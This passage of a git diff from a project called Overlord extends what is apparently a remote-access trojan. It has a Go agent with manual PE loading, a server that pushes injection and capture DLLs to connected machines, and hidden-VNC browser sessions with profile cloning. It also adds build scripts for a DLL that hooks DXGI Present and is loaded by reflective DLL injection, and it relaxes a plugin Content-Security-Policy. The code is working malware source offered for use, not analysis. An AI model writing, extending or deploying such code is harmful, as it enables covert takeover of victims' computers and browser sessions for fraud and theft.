uintptr) { + for i := uintptr(0); i < size; i++ { + *(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i)) } - return r, nil } func sectionProtection(chars uint32) uint32 { - exec := chars&imageSCNMemExecute != 0 - read := chars&imageSCNMemRead != 0 - write := chars&imageSCNMemWrite != 0 + r := chars&imageSCNMemRead != 0 + w := chars&imageSCNMemWrite != 0 + x := chars&imageSCNMemExecute != 0 switch { - case exec && write: + case x && w: return windows.PAGE_EXECUTE_READWRITE - case exec && read: + case x && r: return windows.PAGE_EXECUTE_READ - case exec: + case x: return windows.PAGE_EXECUTE - case write: + case w: return windows.PAGE_READWRITE - case read: + case r: return windows.PAGE_READONLY default: return windows.PAGE_NOACCESS } } -func copyMem(dst uintptr, src *byte, size uintptr) { - dstSlice := unsafe.Slice((*byte)(unsafe.Pointer(dst)), size) - srcSlice := unsafe.Slice(src, size) - copy(dstSlice, srcSlice) +var ( + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGetProcAddr = modKernel32.NewProc("GetProcAddress") +) + +func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) { + r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal)) + if r == 0 { + return 0, fmt.Errorf("pe: GetProcAddress ordinal %d: %w", ordinal, err) + } + return r, nil } diff --git a/Overlord-Client/cmd/agent/plugins/teb/teb.go b/Overlord-Client/cmd/agent/plugins/teb/teb.go new file mode 100644 index 0000000..bdbf833 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/teb/teb.go @@ -0,0 +1,6 @@ +//go:build windows && amd64 + +package teb + +// CurrentTEB returns the address of the current thread's Thread Environment Block. +func CurrentTEB() uintptr diff --git a/Overlord-Client/cmd/agent/plugins/teb/teb_amd64.s b/Overlord-Client/cmd/agent/plugins/teb/teb_amd64.s new file mode 100644 index 0000000..e77049e --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/teb/teb_amd64.s @@ -0,0 +1,9 @@ +#include "textflag.h" + +// func CurrentTEB() uintptr +TEXT ·CurrentTEB(SB),NOSPLIT,$0-8 + // mov rax, gs:[0x30] — read the TEB self-pointer + BYTE $0x65; BYTE $0x48; BYTE $0x8B; BYTE $0x04; BYTE $0x25 + LONG $0x00000030 + MOVQ AX, ret+0(FP) + RET diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 48ccbe8..719788b 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -232,6 +232,13 @@ type HVNCCloneProgress struct { Status string `msgpack:"status"` } +type HVNCDXGIStatus struct { + Type string `msgpack:"type"` + Success bool `msgpack:"success"` + GPUPid uint32 `msgpack:"gpuPid"` + Message string `msgpack:"message"` +} + type HVNCLookupResult struct { Type string `msgpack:"type"` Exe string `msgpack:"exe"` diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 49f309e..8f11e24 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -1,6 +1,6 @@ { "name": "overlord-server", - "version": "1.8.4", + "version": "1.8.6", "private": true, "type": "module", "scripts": { diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 13540b5..e91a7af 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js"; const fullscreenBtn = document.getElementById("fullscreenBtn"); const mouseCtrl = document.getElementById("mouseCtrl"); const kbdCtrl = document.getElementById("kbdCtrl"); - const cursorCtrl = document.getElementById("cursorCtrl"); const autoExplorerCtrl = document.getElementById("autoExplorerCtrl"); const qualitySlider = document.getElementById("qualitySlider"); const qualityValue = document.getElementById("qualityValue"); @@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js"; const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); + const dxgiCtrl = document.getElementById("dxgiCtrl"); + const hvncResolutionSelect = document.getElementById("hvncResolutionSelect"); function syncInputEnableState() { if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); - if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked }); + if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); + pushHvncResolution(); } let activeClientId = clientId; let renderCount = 0; @@ -344,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js"; cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`; } + const dxgiStatusEl = document.getElementById("dxgiStatus"); + const dxgiStatusIcon = document.getElementById("dxgiStatusIcon"); + const dxgiStatusLabel = document.getElementById("dxgiStatusLabel"); + let dxgiHideTimer = null; + + function handleDXGIStatus(msg) { + if (!dxgiStatusEl) return; + if (dxgiHideTimer) { + clearTimeout(dxgiHideTimer); + dxgiHideTimer = null; + } + dxgiStatusEl.classList.remove("hidden"); + dxgiStatusEl.classList.add("flex"); + if (msg.success) { + dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400"; + dxgiStatusLabel.textContent = msg.message || "DXGI active"; + dxgiStatusLabel.className = "text-emerald-300"; + dxgiHideTimer = setTimeout(() => { + dxgiStatusEl.classList.add("hidden"); + dxgiStatusEl.classList.remove("flex"); + }, 8000); + } else { + dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400"; + dxgiStatusLabel.textContent = msg.message || "DXGI failed"; + dxgiStatusLabel.className = "text-rose-300"; + dxgiHideTimer = setTimeout(() => { + dxgiStatusEl.classList.add("hidden"); + dxgiStatusEl.classList.remove("flex"); + }, 10000); + } + } + function sendCmd(type, payload) { if (!activeClientId) { console.warn("No active client selected"); @@ -558,9 +592,23 @@ import { checkFeatureAccess } from "./feature-gate.js"; kbdCtrl.addEventListener("change", function () { sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); }); - cursorCtrl.addEventListener("change", function () { - sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked }); - }); + if (dxgiCtrl) { + dxgiCtrl.addEventListener("change", function () { + sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); + }); + } + + function pushHvncResolution() { + if (hvncResolutionSelect) { + const maxHeight = parseInt(hvncResolutionSelect.value, 10); + sendCmd("hvnc_set_resolution", { maxHeight: maxHeight }); + } + } + if (hvncResolutionSelect) { + hvncResolutionSelect.addEventListener("change", function () { + pushHvncResolution(); + }); + } if (qualitySlider) { updateQualityLabel(qualitySlider.value); @@ -705,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js"; handleLookupResult(msg); return; } + if (msg && msg.type === "hvnc_dxgi_status") { + handleDXGIStatus(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; @@ -732,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js"; handleLookupResult(msg); return; } + if (msg && msg.type === "hvnc_dxgi_status") { + handleDXGIStatus(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index be76cd8..7a4fb46 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -100,6 +100,13 @@ 0% +
@@ -128,12 +135,22 @@ - + + +
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 3224404..35ed3ba 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth"; import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils"; import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils"; import { CORS_HEADERS } from "./server/http-security"; -import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils"; +import { mimeType, secureHeaders } from "./server/http-utils"; import { sanitizePluginId } from "./server/plugin-utils"; import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch"; import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch"; @@ -87,6 +87,7 @@ import { handleWebcamDevices, handleHVNCCloneProgress, handleHVNCLookupResult, + handleHVNCDXGIStatus, handleClipboardContent, handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerOpen, @@ -421,7 +422,6 @@ async function startServer() { enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent, drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents, secureHeaders, - securePluginHeaders, mimeType, }, fileShare: { @@ -606,6 +606,7 @@ async function startServer() { handleWebcamDevices, handleHVNCCloneProgress, handleHVNCLookupResult, + handleHVNCDXGIStatus, handleClipboardContent, cleanupVoiceViewer, stopConsoleOnTarget, diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts index 5b63f51..7c0b236 100644 --- a/Overlord-Server/src/server/http-utils.ts +++ b/Overlord-Server/src/server/http-utils.ts @@ -11,7 +11,7 @@ export function securePluginHeaders() { return { ...SECURITY_HEADERS, "X-Frame-Options": "SAMEORIGIN", - "Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'", + "Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'", }; } diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts index 762ccf5..6628fc4 100644 --- a/Overlord-Server/src/server/routes/plugin-routes.ts +++ b/Overlord-Server/src/server/routes/plugin-routes.ts @@ -46,7 +46,6 @@ type PluginRouteDeps = { enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void; drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>; secureHeaders: (contentType?: string) => Record; - securePluginHeaders: () => Record; mimeType: (path: string) => string; }; @@ -715,7 +714,6 @@ export async function handlePluginRoutes( const raw = await file.text(); const baseTag = ``; - const bridgeTag = ``; let injected = raw; const headMatch = raw.match(/]*>/i); @@ -723,16 +721,8 @@ export async function handlePluginRoutes( injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`); } - if (injected.includes("")) { - injected = injected.replace("", ` ${bridgeTag}\n `); - } else if (injected.includes("")) { - injected = injected.replace("", ` ${bridgeTag}\n`); - } else { - injected = `${bridgeTag}\n${injected}`; - } - return new Response(injected, { - headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" }, + headers: deps.secureHeaders("text/html; charset=utf-8"), }); } @@ -746,9 +736,33 @@ export async function handlePluginRoutes( } const clientId = url.searchParams.get("clientId") || ""; - const bridgeToken = uuidv4(); - const origin = url.origin; - const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`; + + const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`); + const file = Bun.file(htmlFile); + let pluginBody = ""; + let pluginHeadExtras = ""; + + if (await file.exists()) { + const raw = await file.text(); + + const bodyMatch = raw.match(/]*>([\s\S]*?)<\/body>/i); + pluginBody = bodyMatch ? bodyMatch[1] : raw; + + const headMatch = raw.match(/]*>([\s\S]*?)<\/head>/i); + if (headMatch) { + const headContent = headMatch[1]; + const linkTags = headContent.match(/]*>/gi) || []; + const styleTags = headContent.match(//gi) || []; + pluginHeadExtras = [...linkTags, ...styleTags] + .map((tag) => + tag.replace(/href="(?!https?:\/\/|\/)/g, `href="/plugins/${pluginId}/assets/`), + ) + .join("\n "); + } + } + + const jsFile = Bun.file(path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.js`)); + const hasPluginJs = await jsFile.exists(); const html = ` @@ -771,27 +785,19 @@ export async function handlePluginRoutes( /> + ${pluginHeadExtras}
-
- +
+ ${pluginBody}
-
- + ${hasPluginJs ? `` : ""} `; diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 5df9ea5..9fc85dd 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -82,6 +82,7 @@ type WsLifecycleDeps = { handleWebcamDevices: (clientId: string, payload: any) => void; handleHVNCCloneProgress: (clientId: string, payload: any) => void; handleHVNCLookupResult: (clientId: string, payload: any) => void; + handleHVNCDXGIStatus: (clientId: string, payload: any) => void; handleClipboardContent: (clientId: string, payload: any) => void; cleanupVoiceViewer: (ws: ServerWebSocket) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; @@ -586,6 +587,9 @@ export async function handleWebSocketMessage( case "hvnc_lookup_result": deps.handleHVNCLookupResult(client.id, payload); break; + case "hvnc_dxgi_status": + deps.handleHVNCDXGIStatus(client.id, payload); + break; case "clipboard_content": deps.handleClipboardContent(client.id, payload); break; diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 82dbdea..7f94193 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null; let _dllCachePath: string | null = null; let _dllCacheMtimeMs: number = 0; +let _cachedCaptureDll: Uint8Array | null = null; +let _captureDllCachePath: string | null = null; +let _captureDllCacheMtimeMs: number = 0; + function getInjectionDllBytes(): Uint8Array | null { const runtimeRoot = resolveRuntimeRoot(); const candidates = [ @@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null { return null; } +function getCaptureDllBytes(): Uint8Array | null { + const runtimeRoot = resolveRuntimeRoot(); + const candidates = [ + path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"), + path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"), + path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"), + ]; + + if (_captureDllCachePath) { + try { + const { statSync } = require("fs"); + const st = statSync(_captureDllCachePath); + if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) { + return _cachedCaptureDll; + } + _cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath)); + _captureDllCacheMtimeMs = st.mtimeMs; + logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`); + return _cachedCaptureDll; + } catch { + _captureDllCachePath = null; + _cachedCaptureDll = null; + } + } + + for (const dllPath of candidates) { + if (!existsSync(dllPath)) continue; + try { + const { statSync } = require("fs"); + const st = statSync(dllPath); + _cachedCaptureDll = new Uint8Array(readFileSync(dllPath)); + _captureDllCachePath = dllPath; + _captureDllCacheMtimeMs = st.mtimeMs; + logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`); + return _cachedCaptureDll; + } catch { + continue; + } + } + + return null; +} + function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { if (typeof raw === "string") { try { @@ -563,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) { } } +export function handleHVNCDXGIStatus(clientId: string, payload: any) { + for (const session of sessionManager.getHvncSessionsForClient(clientId)) { + safeSendViewer(session.viewer, { + type: "hvnc_dxgi_status", + success: !!payload.success, + gpuPid: Number(payload.gpuPid) || 0, + message: String(payload.message || ""), + }); + } +} + export function handleClipboardContent(clientId: string, payload: any) { const text = String(payload.text || ""); const source = String(payload.source || ""); @@ -757,6 +815,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st case "hvnc_enable_cursor": if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled }); break; + case "hvnc_enable_dxgi": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled }); + break; + case "hvnc_set_resolution": { + const maxHeight = Number(payload.maxHeight) || 0; + if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight }); + break; + } case "hvnc_mouse_move": if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); break; @@ -799,12 +865,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); break; } - sendHVNCCommand(target, "hvnc_start_process_injected", { + const captureDll = getCaptureDllBytes(); + const cmdPayload: Record = { path: String(payload.path || ""), search_path: String(payload.search_path || ""), replace_path: String(payload.replace_path || ""), dll: dllData, - }); + }; + if (captureDll) cmdPayload.capture_dll = captureDll; + sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload); break; } case "hvnc_start_chrome_injected": { @@ -814,10 +883,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); break; } - sendHVNCCommand(target, "hvnc_start_chrome_injected", { + const captureDllChrome = getCaptureDllBytes(); + const chromeCmdPayload: Record = { path: String(payload.path || ""), dll: dllData, - }); + }; + if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome; + sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload); break; } case "hvnc_start_browser_injected": { @@ -827,14 +899,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); break; } - sendHVNCCommand(target, "hvnc_start_browser_injected", { + const captureDllBrowser = getCaptureDllBytes(); + const browserCmdPayload: Record = { browser: String(payload.browser || ""), path: String(payload.path || ""), clone: payload.clone !== false, cloneLite: payload.cloneLite === true, killIfRunning: payload.killIfRunning === true, dll: dllData, - }); + }; + if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser; + sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload); break; } case "clipboard_sync": { diff --git a/Overlord-Server/src/version.ts b/Overlord-Server/src/version.ts index 3fbc971..34967bc 100644 --- a/Overlord-Server/src/version.ts +++ b/Overlord-Server/src/version.ts @@ -1 +1 @@ -export const SERVER_VERSION = "1.8.4"; +export const SERVER_VERSION = "1.8.6"; diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index 710a36d..3e52a6a 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "webcam_devices", "hvnc_clone_progress", "hvnc_lookup_result", + "hvnc_dxgi_status", "clipboard_content", "proxy_data", "proxy_close", diff --git a/build-hvnc-capture-dll.bat b/build-hvnc-capture-dll.bat new file mode 100644 index 0000000..2f6fa70 --- /dev/null +++ b/build-hvnc-capture-dll.bat @@ -0,0 +1,53 @@ +@echo off +setlocal EnableDelayedExpansion +REM Build HVNCCapture DLL for Windows x64 using MSBuild (vcxproj). +REM Run from VS Developer Command Prompt, or let the script detect VS. + +set ROOT=%~dp0 +set PROJ=%ROOT%HVNCCapture\HVNCCapture.vcxproj +set OUT_DIR=%ROOT%Overlord-Server\dist-clients +set CONFIG=Release +set PLATFORM=x64 + +REM Locate MSBuild via vswhere if not already on PATH +where msbuild.exe >nul 2>&1 +if %ERRORLEVEL% neq 0 ( + echo msbuild.exe not found, searching for Visual Studio ... + set "FOUND_VS=" + for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do ( + set "MSBUILD_PATH=%%i" + set "FOUND_VS=1" + ) + if not defined FOUND_VS ( + echo ERROR: Visual Studio with MSBuild not found. + exit /b 1 + ) + echo Found MSBuild at: !MSBUILD_PATH! +) + +if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" + +echo Building HVNCCapture.vcxproj [%CONFIG%^|%PLATFORM%] ... +if defined MSBUILD_PATH ( + "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal +) else ( + msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal +) +if %ERRORLEVEL% neq 0 goto :error + +if not exist "%OUT_DIR%\HVNCCapture.x64.dll" ( + echo ERROR: DLL not found in output directory. + goto :error +) + +echo. +echo Built: %OUT_DIR%\HVNCCapture.x64.dll +dir "%OUT_DIR%\HVNCCapture.x64.dll" + +echo Done. +exit /b 0 + +:error +echo. +echo BUILD FAILED +exit /b 1 diff --git a/build-hvnc-capture-dll.sh b/build-hvnc-capture-dll.sh new file mode 100644 index 0000000..18fed25 --- /dev/null +++ b/build-hvnc-capture-dll.sh @@ -0,0 +1,247 @@ +#!/usr/bin/env bash +# Build HVNCCapture DLL for Windows x64 using MinGW cross-compiler (C++). +# Run from the repository root or from Docker. +# +# HVNCCapture hooks IDXGISwapChain::Present to capture frames from the GPU +# process. It uses MinHook for hooking and ReflectiveLoader for injection. +# +# Requirements: +# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof) +# - MinHook source under HVNCCapture/Minhook/ +# +# If MinHook source is not available, you can pre-build the DLL with MSVC +# on Windows using build-hvnc-capture-dll.bat and place the output at: +# Overlord-Server/dist-clients/HVNCCapture.x64.dll + +set -euo pipefail +cd "$(dirname "$0")" + +# C++ compiler for COM / __uuidof support +CXX="${CXX:-x86_64-w64-mingw32-g++}" +CC="${CC:-x86_64-w64-mingw32-gcc}" +SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-HVNCCapture/src}" +OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}" +DLL_NAME="HVNCCapture.x64.dll" +MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}" +MINHOOK_REF="${MINHOOK_REF:-master}" +HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}" +MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-HVNCCapture/Minhook}" + +mkdir -p "$OUT_DIR" + +MINHOOK_DIR="$SRC_DIR/minhook" + +stage_minhook_tree() { + local source_root="$1" + local include_root="${2:-$1}" + + mkdir -p "$MINHOOK_DIR/hde" + cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true + cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true + cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true + cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true + cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true + cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true + cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true + cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true + cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true + cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true + cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true + cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true + + mkdir -p "$SRC_DIR/include" + if [ -f "$source_root/MinHook.h" ]; then + cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true + cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true + elif [ -f "$include_root/MinHook.h" ]; then + cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true + cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true + fi +} + +stage_minhook_from_static_dir() { + local candidate_src="" + local candidate_include="" + + for dir in "$MINHOOK_STATIC_DIR" "HVNCCapture/Minhook" "HVNCCapture/minhook"; do + if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then + candidate_src="$dir" + candidate_include="$dir" + break + fi + + if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then + candidate_src="$dir/src" + if [ -f "$dir/include/MinHook.h" ]; then + candidate_include="$dir/include" + else + candidate_include="$dir/src" + fi + break + fi + done + + if [ -n "$candidate_src" ]; then + echo "Using static MinHook source from $candidate_src" + stage_minhook_tree "$candidate_src" "$candidate_include" + return 0 + fi + + return 1 +} + +# Verify C++ cross-compiler is available +if ! command -v "$CXX" >/dev/null 2>&1; then + echo "ERROR: C++ cross compiler not found: $CXX" + echo "Install mingw-w64 (x86_64-w64-mingw32-g++) in your build image/environment." + exit 1 +fi + +fetch_minhook() { + if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then + return 1 + fi + + if ! command -v git >/dev/null 2>&1; then + echo "WARNING: git is not available; cannot auto-fetch MinHook." + return 1 + fi + + echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..." + local tmpdir + tmpdir="$(mktemp -d)" + + if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then + rm -rf "$tmpdir" + echo "WARNING: Failed to fetch MinHook source." + return 1 + fi + + stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include" + cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true + mkdir -p "$SRC_DIR/include" + cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true + rm -rf "$tmpdir" + + [ -f "$MINHOOK_DIR/hook.c" ] +} + +# --- Stage MinHook source --- +if [ ! -d "$MINHOOK_DIR" ]; then + if ! stage_minhook_from_static_dir && ! fetch_minhook; then + echo "WARNING: MinHook source not found at $MINHOOK_DIR" + echo "Attempting to use pre-compiled libMinHook.x64.lib ..." + echo "(This may fail with MinGW. Build with MSVC on Windows instead.)" + MINHOOK_OBJS="" + MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" + MINHOOK_INC="" + fi +fi + +if [ -d "$MINHOOK_DIR" ]; then + if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then + stage_minhook_from_static_dir || fetch_minhook || true + fi +fi + +if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then + echo "Building MinHook from source ..." + MINHOOK_OBJS="" + MINHOOK_LIB="" + MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde" + + if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then + mkdir -p "$SRC_DIR/include" + if [ -f "$MINHOOK_DIR/MinHook.h" ]; then + cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h" + elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then + cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h" + fi + fi + + # MinHook is pure C — compile with gcc + for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \ + "$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \ + "$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do + if [ -f "$src" ]; then + obj="${src%.c}.o" + "$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src" + MINHOOK_OBJS="$MINHOOK_OBJS $obj" + fi + done + + if [ -z "${MINHOOK_OBJS// }" ]; then + echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib" + MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" + MINHOOK_INC="" + fi +else + MINHOOK_OBJS="" + MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" + MINHOOK_INC="" +fi + +# --- Compile HVNCCapture sources --- +# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof +CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" +CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" +CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" +CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" +CXXFLAGS="$CXXFLAGS -fno-stack-protector" +CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables" +CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti" 